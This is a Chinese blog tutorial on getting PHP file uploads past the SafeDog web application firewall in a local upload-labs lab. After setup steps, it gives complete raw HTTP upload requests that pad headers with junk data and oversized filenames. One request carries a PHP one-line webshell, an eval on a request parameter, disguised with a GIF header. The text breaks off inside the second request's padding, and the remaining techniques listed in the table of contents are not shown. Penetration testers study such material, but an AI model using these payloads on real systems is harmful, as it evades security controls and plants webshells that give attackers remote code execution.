文件上传绕过安全狗的一些方法

已于 2022-04-28 15:14:29 修改
阅读量3.8k 收藏 10
点赞数 2
分类专栏： 渗透测试 文件上传 burpsuite 文章标签： 渗透测试 文件上传
于 2022-04-28 15:11:31 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_58784379/article/details/124472777
版权

目录

安全狗的安装

垃圾数据绕过：

数据包溢出绕过：

值匹配""的内容，后跟.php：

多个filename，绕过匹配：

白名单绕过：

测试工具：Burpsuite，安全狗

测试网站：

在没有安全狗的情况下，上传1.Php，以文件大小写后缀上传，是不会被拦截的，如下图

安全狗的安装

安全狗地址：网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改，选择windows操作系统，Apache版本选择4.0，一直默认安装即可

在默认安装时，会跳出需要填写关于Apache的服务名

首先，phpstudy关闭Apache服务，然后将运行模式更改为“系统服务”，打开管理员权限的cmd

使用管理员启动cmd，进入phpstudy/apache/bin目录

 cd c:/comsenzexp/apache/bin/httpd.exe

执行如下命令

httpd.exe -k install -n apache2.4

出现service is successfully installed 代表安装成功

在服务列表中出现apache服务

再次运行phpstudy，在安全狗的服务名一栏填写apache2.4即可

出现拦截页面，则代表安装成功

将安装好安全狗后，安全狗已经自动将需要的拦截开启了

再测试一下，先上传一句话木马，放包的时候，可以看到已经被拦截了

垃圾数据绕过：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 10139
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data;nxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwenxsuaeiuwiyidiuwwwwwwwwwwwww;wwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwedd; name="upload_file"; filename="1.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

数据包溢出绕过：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 7781
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa